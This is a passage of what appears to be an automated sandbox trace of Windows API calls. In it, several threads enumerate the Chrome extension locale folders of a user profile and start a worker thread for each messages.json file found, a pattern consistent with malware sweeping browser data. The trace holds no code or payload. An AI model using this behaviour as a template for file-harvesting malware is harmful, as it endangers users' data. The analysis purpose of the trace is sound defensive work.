ftCreationTime.dwLowDateTime=0x83498b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8349d940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.168] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.168] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.168] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x941510 [0181.168] wcscpy (in: _Dest=0x941510, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu" [0181.168] wcscat (in: _Dest=0x941510, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\" [0181.168] wcscat (in: _Dest=0x941510, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json" [0182.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x941510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b8 [0182.006] FindNextFileW (in: hFindFile=0x942130, lpFindFileData=0x96f048 | out: lpFindFileData=0x96f048*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83498b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8349d940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0182.006] FindClose (in: hFindFile=0x942130 | out: hFindFile=0x942130) returned 1 [0182.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96f048) returned 1 [0182.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a86e0) returned 1 [0182.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a6c10) returned 1 Thread: id = 7317 os_tid = 0x1908 [0180.260] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0x1338d0b0 [0180.261] wcscpy (in: _Dest=0x1338d0b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id" [0180.261] wcscat (in: _Dest=0x1338d0b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\" [0180.261] wcscat (in: _Dest=0x1338d0b0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*" [0180.261] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96f2b0 [0180.261] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*", lpFindFileData=0x96f2b0 | out: lpFindFileData=0x96f2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9420b0 [0180.505] wcscmp (_String1=".", _String2=".") returned 0 [0180.505] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x96f2b0 | out: lpFindFileData=0x96f2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.505] wcscmp (_String1="..", _String2=".") returned 1 [0180.505] wcscmp (_String1="..", _String2="..") returned 0 [0180.505] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x96f2b0 | out: lpFindFileData=0x96f2b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a4e70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0180.505] wcscmp (_String1="messages.json", _String2=".") returned 1 [0180.505] wcscmp (_String1="messages.json", _String2="..") returned 1 [0180.505] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x8ea9d8 [0180.631] wcscpy (in: _Dest=0x8ea9d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id" [0180.631] wcscat (in: _Dest=0x8ea9d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\" [0180.631] wcscat (in: _Dest=0x8ea9d8, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json" [0181.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8ea9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x155c [0181.898] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x96f2b0 | out: lpFindFileData=0x96f2b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a4e70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.898] FindClose (in: hFindFile=0x9420b0 | out: hFindFile=0x9420b0) returned 1 [0181.899] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96f2b0) returned 1 [0181.899] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338d0b0) returned 1 [0181.899] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a6d48) returned 1 Thread: id = 7318 os_tid = 0x190c [0180.262] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0x1338d1e8 [0180.262] wcscpy (in: _Dest=0x1338d1e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it" [0180.262] wcscat (in: _Dest=0x1338d1e8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\" [0180.262] wcscat (in: _Dest=0x1338d1e8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*" [0180.262] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96f518 [0180.262] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*", lpFindFileData=0x96f518 | out: lpFindFileData=0x96f518*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421f0 [0180.506] wcscmp (_String1=".", _String2=".") returned 0 [0180.506] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x96f518 | out: lpFindFileData=0x96f518*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.506] wcscmp (_String1="..", _String2=".") returned 1 [0180.506] wcscmp (_String1="..", _String2="..") returned 0 [0180.506] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x96f518 | out: lpFindFileData=0x96f518*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0180.506] wcscmp (_String1="messages.json", _String2=".") returned 1 [0180.506] wcscmp (_String1="messages.json", _String2="..") returned 1 [0180.506] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x8f3a00 [0180.636] wcscpy (in: _Dest=0x8f3a00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it" [0180.636] wcscat (in: _Dest=0x8f3a00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\" [0180.636] wcscat (in: _Dest=0x8f3a00, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json" [0181.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f3a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1320 [0181.900] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x96f518 | out: lpFindFileData=0x96f518*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.900] FindClose (in: hFindFile=0x9421f0 | out: hFindFile=0x9421f0) returned 1 [0181.901] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96f518) returned 1 [0181.901] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338d1e8) returned 1 [0181.901] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a6e80) returned 1 Thread: id = 7319 os_tid = 0x1918 [0180.525] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0x1338eb80 [0180.525] wcscpy (in: _Dest=0x1338eb80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw" [0180.525] wcscat (in: _Dest=0x1338eb80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\" [0180.525] wcscat (in: _Dest=0x1338eb80, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*" [0180.525] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9072a8 [0180.525] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*", lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9424f0 [0180.526] wcscmp (_String1=".", _String2=".") returned 0 [0180.526] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.526] wcscmp (_String1="..", _String2=".") returned 1 [0180.526] wcscmp (_String1="..", _String2="..") returned 0 [0180.526] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834b11c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b38d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x5074, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0180.526] wcscmp (_String1="messages.json", _String2=".") returned 1 [0180.526] wcscmp (_String1="messages.json", _String2="..") returned 1 [0180.526] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x91be48 [0180.636] wcscpy (in: _Dest=0x91be48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw" [0180.636] wcscat (in: _Dest=0x91be48, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\" [0180.636] wcscat (in: _Dest=0x91be48, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json" [0181.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x91be48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa84 [0181.902] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834b11c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b38d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x5074, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.902] FindClose (in: hFindFile=0x9424f0 | out: hFindFile=0x9424f0) returned 1 [0181.903] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9072a8) returned 1 [0181.903] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338eb80) returned 1 [0181.903] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a6fb8) returned 1 Thread: id = 7361 os_tid = 0x1a24 [0181.182] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0xd4d6ae8 [0181.182] wcscpy (in: _Dest=0xd4d6ae8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr" [0181.182] wcscat (in: _Dest=0xd4d6ae8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\" [0181.182] wcscat (in: _Dest=0xd4d6ae8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*" [0181.182] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x968388 [0181.182] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*", lpFindFileData=0x968388 | out: lpFindFileData=0x968388*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, 